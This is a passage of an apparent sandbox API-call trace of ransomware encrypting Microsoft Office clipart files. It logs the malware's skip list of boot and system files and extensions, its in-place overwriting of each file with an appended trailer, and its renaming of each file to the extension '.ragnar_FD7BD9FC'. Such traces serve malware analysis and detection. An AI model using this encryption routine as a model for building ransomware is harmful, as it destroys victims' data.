ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0081.948] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.948] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01434_.WMF" | out: lpString1="DD01434_.WMF") returned="DD01434_.WMF" [0081.948] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned=".WMF" [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="autorun.inf") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="boot.ini") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="bootfont.bin") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="bootsect.bak") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="bootmgr") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="bootmgr.efi") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="desktop.ini") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="iconcache.db") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="ntldr") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="ntuser.dat") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="ntuser.ini") returned -1 [0081.948] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="thumbs.db") returned -1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.948] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0081.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.949] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=900) returned 1 [0081.949] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.949] GetProcessHeap () returned 0x580000 [0081.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.949] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.951] VirtualAlloc (lpAddress=0x0, dwSize=0x384, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.951] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x384, lpOverlapped=0x0) returned 1 [0081.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.951] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x384, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.951] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x384, lpOverlapped=0x0) returned 1 [0081.952] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x384, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.952] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.952] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.952] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.952] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.952] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.952] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.952] GetProcessHeap () returned 0x580000 [0081.952] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.952] CloseHandle (hObject=0xf4) returned 1 [0081.952] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" [0081.952] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ragnar_FD7BD9FC" [0081.952] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.953] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0081.953] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.953] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01585_.WMF" | out: lpString1="DD01585_.WMF") returned="DD01585_.WMF" [0081.953] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned=".WMF" [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="autorun.inf") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="boot.ini") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="bootfont.bin") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="bootsect.bak") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="bootmgr") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="bootmgr.efi") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="desktop.ini") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="iconcache.db") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="ntldr") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="ntuser.dat") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="ntuser.ini") returned -1 [0081.953] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="thumbs.db") returned -1 [0081.953] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.953] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.953] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.953] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.953] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.954] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.954] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0081.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.954] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2524) returned 1 [0081.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.954] GetProcessHeap () returned 0x580000 [0081.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.954] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.955] VirtualAlloc (lpAddress=0x0, dwSize=0x9dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.956] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9dc, lpOverlapped=0x0) returned 1 [0081.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.956] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.956] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9dc, lpOverlapped=0x0) returned 1 [0081.956] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.956] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.956] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.956] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.956] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.956] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.957] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.957] GetProcessHeap () returned 0x580000 [0081.957] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.957] CloseHandle (hObject=0xf4) returned 1 [0081.957] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" [0081.957] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ragnar_FD7BD9FC" [0081.957] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.957] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0081.957] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.957] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01586_.WMF" | out: lpString1="DD01586_.WMF") returned="DD01586_.WMF" [0081.957] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned=".WMF" [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="autorun.inf") returned 1 [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="boot.ini") returned 1 [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="bootfont.bin") returned 1 [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="bootsect.bak") returned 1 [0081.957] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="bootmgr") returned 1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="bootmgr.efi") returned 1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="desktop.ini") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="iconcache.db") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="ntldr") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="ntuser.dat") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="ntuser.ini") returned -1 [0081.958] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="thumbs.db") returned -1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.958] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0081.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.958] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2324) returned 1 [0081.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x90b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.958] GetProcessHeap () returned 0x580000 [0081.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.958] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.960] VirtualAlloc (lpAddress=0x0, dwSize=0x914, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.960] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x914, lpOverlapped=0x0) returned 1 [0081.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.960] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x914, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.960] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x914, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x914, lpOverlapped=0x0) returned 1 [0081.960] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x914, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.960] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.961] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.961] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.961] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.961] GetProcessHeap () returned 0x580000 [0081.961] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.961] CloseHandle (hObject=0xf4) returned 1 [0081.961] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" [0081.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ragnar_FD7BD9FC" [0081.961] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0081.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.962] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01628_.WMF" | out: lpString1="DD01628_.WMF") returned="DD01628_.WMF" [0081.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned=".WMF" [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", 